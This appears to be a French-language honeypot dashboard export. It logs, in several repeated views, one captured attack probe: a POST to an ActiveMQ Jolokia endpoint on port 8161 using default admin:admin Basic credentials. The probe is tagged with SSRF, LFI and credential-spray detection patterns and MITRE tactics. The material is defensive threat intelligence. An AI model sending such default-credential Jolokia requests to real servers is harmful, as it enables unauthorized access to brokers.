"request_line": "POST \/api\/jolokia\/ HTTP\/1.1",
"request_sample": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/json\r\nOrigin: http:\/\/62.3.50.33:8161\r\nConnection: close\r\nUser-Agent: Mozilla\/5.0\r\nAuthorization: Basic YWRtaW46YWRtaW4=\r\n\r\n{\"type\"",
"payload_snippet": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/js",
"evidence": {
"method": "POST",
"path": "\/api\/jolokia\/",
"user_agent": "Mozilla\/5.0",
"waf_tags": [
"950319:lfi-14",
"950403:ssrf-2",
"950406:ssrf-3",
"950407:ssrf-3",
"950468:nosqli-3",
"950470:nosqli-3",
"950471:nosqli-3",
"950600:k8s-api"
],
"waf_rule_names": [
"lfi-14",
"ssrf-2",
"ssrf-3",
"nosqli-3",
"k8s-api"
],
"request_line": "POST \/api\/jolokia\/ HTTP\/1.1",
"request_sample": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/json\r\nOrigin: http:\/\/62.3.50.33:8161\r\nConnection: close\r\nUser-Agent: Mozilla\/5.0\r\nAuthorization: Basic YWRtaW46YWRtaW4=\r\n\r\n{\"type\"",
"payload_snippet": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/js",
"classification_reason": "Motif SSRF \u00b7 confiance 95%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre": "TA0001",
"threat_family": [
"web_injection",
"ssrf_probe"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "7b6d2312abc6797153b3f0e6e4bba1726bac3016",
"protocol_details": {
"http_method": "POST",
"http_path": "\/api\/jolokia\/",
"request_line": "POST \/api\/jolokia\/ HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0",
"port": 8161,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/js",
"attack_vector": "http smuggling probe \u00b7 via HTTP:8161 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/api\/jolokia\/",
"target_port_label": "8161 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 95 % \u2014 Motif catalogue confirm\u00e9 \u00b7 8 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Motif SSRF \u00b7 confiance 95%",
"classification_reason_label_fr": "Motif SSRF \u00b7 confiance 95%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 77\/100 (\u00c9lev\u00e9) \u2014 MITRE TA0001 \u2014 confiance 95 % \u2014 via HTTP",
"confidence_pct": 95,
"confidence_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25,
"risk_score": 77
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "exploitation",
"attack_chain_stage_label_fr": "Exploitation",
"risk_score": 77,
"risk_label": "\u00c9lev\u00e9",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8161,
"protocol_emulated": true,
"tags_summary": [
"pat-0842"
],
"tags_summary_labels_fr": [
"pat-0842"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "TA0001",
"mitre_technique": "TA0001",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": null,
"correlation_flags_labels_fr": null,
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": null,
"protocol_details": {
"http_method": "POST",
"http_path": "\/api\/jolokia\/",
"request_line": "POST \/api\/jolokia\/ HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0",
"port": 8161,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "http smuggling probe \u00b7 via HTTP:8161 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/api\/jolokia\/",
"evidence_snippet": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/js",
"target_port_label": "8161 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 95 % \u2014 Motif catalogue confirm\u00e9 \u00b7 8 tag(s) WAF",
"confidence_factors_fr": "Confiance 95 % \u2014 Score WAF 100 \u00b7 8 tag(s) WAF",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "exploitation",
"label_fr": "Exploitation",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8161"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"attack_chain_stage": "exploitation",
"ban_policy": "advisory_investigate",
"tags_list": [
"950319:lfi-14",
"950403:ssrf-2",
"950406:ssrf-3",
"950407:ssrf-3",
"950468:nosqli-3",
"950470:nosqli-3",
"950471:nosqli-3",
"950600:k8s-api",
"http_auth_header_token",
"http_basic_auth",
"http_jwt_body",
"http_probe_api",
"http_ssrf_body",
"net_web_probe"
]
}
|
|
|
TCP |
8161 · HTTP
|
http
|
Sonde HTTP smuggling
http smuggling probe · via HTTP:8161 · (tentative d'exploit) · → /api/jolokia/
|
Élevée
|
Élevé · 77
|
|
Étape
Tentative d'exploit
Chaîne
Exploitation
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
MITRE
TA0001
TA0001
TA0002
Protocole
POST /api/jolokia/ UA Mozilla/5.0
Émulateur
HTTP
WAF
48
Recommandation
Investiguer
Tags
950319:lfi-14
950403:ssrf-2
950406:ssrf-3
950407:ssrf-3
Cible HTTP
POST
/api/jolokia/
TLS SNI
—
Capteur
paris-1
|
Méthode
POST
Port
8161
Chemin / cible
/api/jolokia/
Pourquoi cette classification : Motif SSRF · confiance 95%
Confiance classification
95%
Risque capteur
Élevé
· 77
Confiance : Confiance 95 % — Motif catalogue confirmé · 8 tag(s) WAF
Protocole émulé
1
Signaux
pat-0842
Technique MITRE
TA0001
Tactiques MITRE
TA0001
TA0002
Motifs de détection (base)
CRS 921130 duplicate CL
Cred Basic auth spray
LFI Double-dot bypass
Ligne de requête
POST /api/jolokia/ HTTP/1.1
User-Agent
Mozilla/5.0
Règles WAF
lfi-14
ssrf-2
ssrf-3
nosqli-3
k8s-api
Payload (extrait)
POST /api/jolokia/ HTTP/1.1
Accept-Encoding: identity
Content-Length: 212
Host: 62.3.50.33:8161
Content-Type: application/js
Requête brute (extrait)
POST /api/jolokia/ HTTP/1.1 Accept-Encoding: identity Content-Length: 212 Host: 62.3.50.33:8161 Content-Type: application/json Origin: http://62.3.50.33:8161 Connection: close User-Agent: Mozilla/5.0 Authorization: Basic YWRtaW46YWRtaW4= {"type"
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a204a657474792f392e34204163746976654d512f352e31380d0a436f6e74656e742d547970653a20746578742f68746d6c0d0a436f6e74656e742d4c656e6774683a2034390d0a0d0a3c68746d6c3e3c626f64793e417061636865204163746976654d5120436f6e",
"emulator_response_len": 146,
"http_header_count": 8,
"http_query_params": 0,
"http_path_depth": 2,
"http_path_ext": null,
"http_ua_hash": "82aa6a482bd276cff149740478a603a5fe834840",
"http_host_hash": "66eb19834a7c23530413a6e482ea0316c4442029",
"http_target_hash": "2a44111495e58a342bdfbe6c7704d4d2a61c7ab4",
"http_referer_hash": null,
"http_method": "POST",
"http_ua_is_cli": false,
"http_ua_is_browser": true,
"bytes_in": 461,
"payload_entropy": 5.385462635806404,
"port_category": "registered",
"org": "Nodestop LLC",
"service": "http",
"app_proto": "http",
"asn": 400536,
"country": "US",
"dst_port": 8161,
"risk_waf": 100,
"risk_classification": 85,
"risk_behavior": 0,
"risk_geo": 0,
"risk_protocol": 43,
"risk_novelty": 25,
"risk_boost": 15,
"risk_granularity": 4.3,
"risk_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25
},
"risk_score": 77,
"tag_count": 14,
"anomaly_count": 0,
"campaign_key": "76acd9525fd2a74223d3ce4d0f313569f243054d",
"event_fingerprint": "d25d0e5c27488b8322bbfae9b19c64b7c1a33e47",
"classification_reason": "Motif SSRF \u00b7 confiance 95%",
"confidence": 0.95,
"classification_confidence": 0.95,
"precision_score": 84,
"precision_signals": [
"pat-0842"
],
"kb_rule_ids": [
"pat-0842"
],
"matched_patterns": [
"pat-0842",
"pat-0463",
"pat-0103"
],
"matched_pattern_names": [
"CRS 921130 duplicate CL",
"Cred Basic auth spray",
"LFI Double-dot bypass"
],
"pattern_ids": [
"pat-0842",
"pat-0463",
"pat-0103"
],
"confidence_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25,
"risk_score": 77
},
"named_classification_skipped": false,
"service_name": "http",
"risk_confidence_factor": 95,
"city": null,
"is_datacenter": false,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 400536,
"org": "Nodestop LLC",
"is_datacenter": false,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "1066b48224bb188ceb955605f4fcff98",
"payload_hash": "9a186b7f3893d03e9a8b8ef631bdd9f5",
"path_pattern_hash": "fbd2c50c91d33f93fedb0bc479b36e4f"
},
"target_context": {
"dst_port": 8161,
"service": "http",
"service_name": "http",
"risk_score": 77
},
"payload_preview": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/js",
"method": "POST",
"path": "\/api\/jolokia\/",
"user_agent": "Mozilla\/5.0",
"waf_tags": [
"950319:lfi-14",
"950403:ssrf-2",
"950406:ssrf-3",
"950407:ssrf-3",
"950468:nosqli-3",
"950470:nosqli-3",
"950471:nosqli-3",
"950600:k8s-api"
],
"waf_rule_names": [
"lfi-14",
"ssrf-2",
"ssrf-3",
"nosqli-3",
"k8s-api"
],
"request_line": "POST \/api\/jolokia\/ HTTP\/1.1",
"request_sample": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/json\r\nOrigin: http:\/\/62.3.50.33:8161\r\nConnection: close\r\nUser-Agent: Mozilla\/5.0\r\nAuthorization: Basic YWRtaW46YWRtaW4=\r\n\r\n{\"type\"",
"payload_snippet": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/js",
"evidence": {
"method": "POST",
"path": "\/api\/jolokia\/",
"user_agent": "Mozilla\/5.0",
"waf_tags": [
"950319:lfi-14",
"950403:ssrf-2",
"950406:ssrf-3",
"950407:ssrf-3",
"950468:nosqli-3",
"950470:nosqli-3",
"950471:nosqli-3",
"950600:k8s-api"
],
"waf_rule_names": [
"lfi-14",
"ssrf-2",
"ssrf-3",
"nosqli-3",
"k8s-api"
],
"request_line": "POST \/api\/jolokia\/ HTTP\/1.1",
"request_sample": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/json\r\nOrigin: http:\/\/62.3.50.33:8161\r\nConnection: close\r\nUser-Agent: Mozilla\/5.0\r\nAuthorization: Basic YWRtaW46YWRtaW4=\r\n\r\n{\"type\"",
"payload_snippet": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/js",
"classification_reason": "Motif SSRF \u00b7 confiance 95%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre": "TA0001",
"threat_family": [
"web_injection",
"ssrf_probe"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "7b6d2312abc6797153b3f0e6e4bba1726bac3016",
"protocol_details": {
"http_method": "POST",
"http_path": "\/api\/jolokia\/",
"request_line": "POST \/api\/jolokia\/ HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0",
"port": 8161,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/js",
"attack_vector": "http smuggling probe \u00b7 via HTTP:8161 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/api\/jolokia\/",
"target_port_label": "8161 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 95 % \u2014 Motif catalogue confirm\u00e9 \u00b7 8 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Motif SSRF \u00b7 confiance 95%",
"classification_reason_label_fr": "Motif SSRF \u00b7 confiance 95%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 77\/100 (\u00c9lev\u00e9) \u2014 MITRE TA0001 \u2014 confiance 95 % \u2014 via HTTP",
"confidence_pct": 95,
"confidence_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25,
"risk_score": 77
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "exploitation",
"attack_chain_stage_label_fr": "Exploitation",
"risk_score": 77,
"risk_label": "\u00c9lev\u00e9",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8161,
"protocol_emulated": true,
"tags_summary": [
"pat-0842"
],
"tags_summary_labels_fr": [
"pat-0842"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "TA0001",
"mitre_technique": "TA0001",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": null,
"correlation_flags_labels_fr": null,
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": null,
"protocol_details": {
"http_method": "POST",
"http_path": "\/api\/jolokia\/",
"request_line": "POST \/api\/jolokia\/ HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0",
"port": 8161,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "http smuggling probe \u00b7 via HTTP:8161 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/api\/jolokia\/",
"evidence_snippet": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/js",
"target_port_label": "8161 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 95 % \u2014 Motif catalogue confirm\u00e9 \u00b7 8 tag(s) WAF",
"confidence_factors_fr": "Confiance 95 % \u2014 Score WAF 100 \u00b7 8 tag(s) WAF",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "exploitation",
"label_fr": "Exploitation",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8161"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"attack_chain_stage": "exploitation",
"ban_policy": "advisory_investigate",
"tags_list": [
"950319:lfi-14",
"950403:ssrf-2",
"950406:ssrf-3",
"950407:ssrf-3",
"950468:nosqli-3",
"950470:nosqli-3",
"950471:nosqli-3",
"950600:k8s-api",
"http_auth_header_token",
"http_basic_auth",
"http_jwt_body",
"http_probe_api",
"http_ssrf_body",
"net_web_probe"
]
}
|
|
|
TCP |
8161 · HTTP
|
http
|
Sonde HTTP smuggling
http smuggling probe · via HTTP:8161 · (tentative d'exploit) · → /api/jolokia/
|
Élevée
|
Élevé · 77
|
|
Étape
Tentative d'exploit
Chaîne
Exploitation
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
MITRE
TA0001
TA0001
TA0002
Protocole
POST /api/jolokia/ UA Mozilla/5.0
Émulateur
HTTP
WAF
48
Recommandation
Investiguer
Tags
950319:lfi-14
950403:ssrf-2
950406:ssrf-3
950407:ssrf-3
Cible HTTP
POST
/api/jolokia/
TLS SNI
—
Capteur
paris-1
|
Méthode
POST
Port
8161
Chemin / cible
/api/jolokia/
Pourquoi cette classification : Motif SSRF · confiance 95%
Confiance classification
95%
Risque capteur
Élevé
· 77
Confiance : Confiance 95 % — Motif catalogue confirmé · 8 tag(s) WAF
Protocole émulé
1
Signaux
pat-0842
Technique MITRE
TA0001
Tactiques MITRE
TA0001
TA0002
Motifs de détection (base)
CRS 921130 duplicate CL
Cred Basic auth spray
LFI Double-dot bypass
Ligne de requête
POST /api/jolokia/ HTTP/1.1
User-Agent
Mozilla/5.0
Règles WAF
lfi-14
ssrf-2
ssrf-3
nosqli-3
k8s-api
Payload (extrait)
POST /api/jolokia/ HTTP/1.1
Accept-Encoding: identity
Content-Length: 212
Host: 62.3.50.33:8161
Content-Type: application/js
Requête brute (extrait)
POST /api/jolokia/ HTTP/1.1 Accept-Encoding: identity Content-Length: 212 Host: 62.3.50.33:8161 Content-Type: application/json Origin: http://62.3.50.33:8161 Connection: close User-Agent: Mozilla/5.0 Authorization: Basic YWRtaW46YWRtaW4= {"type"
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a204a657474792f392e34204163746976654d512f352e31380d0a436f6e74656e742d547970653a20746578742f68746d6c0d0a436f6e74656e742d4c656e6774683a2034390d0a0d0a3c68746d6c3e3c626f64793e417061636865204163746976654d5120436f6e",
"emulator_response_len": 146,
"http_header_count": 8,
"http_query_params": 0,
"http_path_depth": 2,
"http_path_ext": null,
"http_ua_hash": "82aa6a482bd276cff149740478a603a5fe834840",
"http_host_hash": "66eb19834a7c23530413a6e482ea0316c4442029",
"http_target_hash": "2a44111495e58a342bdfbe6c7704d4d2a61c7ab4",
"http_referer_hash": null,
"http_method": "POST",
"http_ua_is_cli": false,
"http_ua_is_browser": true,
"bytes_in": 461,
"payload_entropy": 5.385462635806404,
"port_category": "registered",
"org": "Nodestop LLC",
"service": "http",
"app_proto": "http",
"asn": 400536,
"country": "US",
"dst_port": 8161,
"risk_waf": 100,
"risk_classification": 85,
"risk_behavior": 0,
"risk_geo": 0,
"risk_protocol": 43,
"risk_novelty": 25,
"risk_boost": 15,
"risk_granularity": 4.3,
"risk_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25
},
"risk_score": 77,
"tag_count": 14,
"anomaly_count": 0,
"campaign_key": "76acd9525fd2a74223d3ce4d0f313569f243054d",
"event_fingerprint": "d25d0e5c27488b8322bbfae9b19c64b7c1a33e47",
"classification_reason": "Motif SSRF \u00b7 confiance 95%",
"confidence": 0.95,
"classification_confidence": 0.95,
"precision_score": 84,
"precision_signals": [
"pat-0842"
],
"kb_rule_ids": [
"pat-0842"
],
"matched_patterns": [
"pat-0842",
"pat-0463",
"pat-0103"
],
"matched_pattern_names": [
"CRS 921130 duplicate CL",
"Cred Basic auth spray",
"LFI Double-dot bypass"
],
"pattern_ids": [
"pat-0842",
"pat-0463",
"pat-0103"
],
"confidence_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25,
"risk_score": 77
},
"named_classification_skipped": false,
"service_name": "http",
"risk_confidence_factor": 95,
"city": null,
"is_datacenter": false,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 400536,
"org": "Nodestop LLC",
"is_datacenter": false,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "1066b48224bb188ceb955605f4fcff98",
"payload_hash": "9a186b7f3893d03e9a8b8ef631bdd9f5",
"path_pattern_hash": "fbd2c50c91d33f93fedb0bc479b36e4f"
},
"target_context": {
"dst_port": 8161,
"service": "http",
"service_name": "http",
"risk_score": 77
},
"payload_preview": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/js",
"method": "POST",
"path": "\/api\/jolokia\/",
"user_agent": "Mozilla\/5.0",
"waf_tags": [
"950319:lfi-14",
"950403:ssrf-2",
"950406:ssrf-3",
"950407:ssrf-3",
"950468:nosqli-3",
"950470:nosqli-3",
"950471:nosqli-3",
"950600:k8s-api"
],
"waf_rule_names": [
"lfi-14",
"ssrf-2",
"ssrf-3",
"nosqli-3",
"k8s-api"
],
"request_line": "POST \/api\/jolokia\/ HTTP\/1.1",
"request_sample": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/json\r\nOrigin: http:\/\/62.3.50.33:8161\r\nConnection: close\r\nUser-Agent: Mozilla\/5.0\r\nAuthorization: Basic YWRtaW46YWRtaW4=\r\n\r\n{\"type\"",
"payload_snippet": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/js",
"evidence": {
"method": "POST",
"path": "\/api\/jolokia\/",
"user_agent": "Mozilla\/5.0",
"waf_tags": [
"950319:lfi-14",
"950403:ssrf-2",
"950406:ssrf-3",
"950407:ssrf-3",
"950468:nosqli-3",
"950470:nosqli-3",
"950471:nosqli-3",
"950600:k8s-api"
],
"waf_rule_names": [
"lfi-14",
"ssrf-2",
"ssrf-3",
"nosqli-3",
"k8s-api"
],
"request_line": "POST \/api\/jolokia\/ HTTP\/1.1",
"request_sample": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/json\r\nOrigin: http:\/\/62.3.50.33:8161\r\nConnection: close\r\nUser-Agent: Mozilla\/5.0\r\nAuthorization: Basic YWRtaW46YWRtaW4=\r\n\r\n{\"type\"",
"payload_snippet": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/js",
"classification_reason": "Motif SSRF \u00b7 confiance 95%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre": "TA0001",
"threat_family": [
"web_injection",
"ssrf_probe"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "7b6d2312abc6797153b3f0e6e4bba1726bac3016",
"protocol_details": {
"http_method": "POST",
"http_path": "\/api\/jolokia\/",
"request_line": "POST \/api\/jolokia\/ HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0",
"port": 8161,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/js",
"attack_vector": "http smuggling probe \u00b7 via HTTP:8161 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/api\/jolokia\/",
"target_port_label": "8161 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 95 % \u2014 Motif catalogue confirm\u00e9 \u00b7 8 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Motif SSRF \u00b7 confiance 95%",
"classification_reason_label_fr": "Motif SSRF \u00b7 confiance 95%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 77\/100 (\u00c9lev\u00e9) \u2014 MITRE TA0001 \u2014 confiance 95 % \u2014 via HTTP",
"confidence_pct": 95,
"confidence_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25,
"risk_score": 77
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "exploitation",
"attack_chain_stage_label_fr": "Exploitation",
"risk_score": 77,
"risk_label": "\u00c9lev\u00e9",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8161,
"protocol_emulated": true,
"tags_summary": [
"pat-0842"
],
"tags_summary_labels_fr": [
"pat-0842"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "TA0001",
"mitre_technique": "TA0001",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": null,
"correlation_flags_labels_fr": null,
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": null,
"protocol_details": {
"http_method": "POST",
"http_path": "\/api\/jolokia\/",
"request_line": "POST \/api\/jolokia\/ HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0",
"port": 8161,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "http smuggling probe \u00b7 via HTTP:8161 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/api\/jolokia\/",
"evidence_snippet": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/js",
"target_port_label": "8161 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 95 % \u2014 Motif catalogue confirm\u00e9 \u00b7 8 tag(s) WAF",
"confidence_factors_fr": "Confiance 95 % \u2014 Score WAF 100 \u00b7 8 tag(s) WAF",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "exploitation",
"label_fr": "Exploitation",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8161"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"attack_chain_stage": "exploitation",
"ban_policy": "advisory_investigate",
"tags_list": [
"950319:lfi-14",
"950403:ssrf-2",
"950406:ssrf-3",
"950407:ssrf-3",
"950468:nosqli-3",
"950470:nosqli-3",
"950471:nosqli-3",
"950600:k8s-api",
"http_auth_header_token",
"http_basic_auth",
"http_jwt_body",
"http_probe_api",
"http_ssrf_body",
"net_web_probe"
]
}
|
|
|
TCP |
8161 · HTTP
|
http
|
Sonde HTTP smuggling
http smuggling probe · via HTTP:8161 · (tentative d'exploit) · → /api/jolokia/
|
Élevée
|
Élevé · 77
|
|
Étape
Tentative d'exploit
Chaîne
Exploitation
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
Corrélations
Multi-protocole corrélé (5 min)
MITRE
TA0001
TA0001
TA0002
Protocole
POST /api/jolokia/ UA Mozilla/5.0
Émulateur
HTTP
WAF
48
Recommandation
Investiguer
Tags
950319:lfi-14
950403:ssrf-2
950406:ssrf-3
950407:ssrf-3
Cible HTTP
POST
/api/jolokia/
TLS SNI
—
Capteur
paris-1
|
Méthode
POST
Port
8161
Chemin / cible
/api/jolokia/
Pourquoi cette classification : Motif SSRF · confiance 95%
Confiance classification
100%
Corrélation +8
Risque capteur
Élevé
· 77
Confiance : Confiance 95 % — Motif catalogue confirmé · 8 tag(s) WAF
Protocole émulé
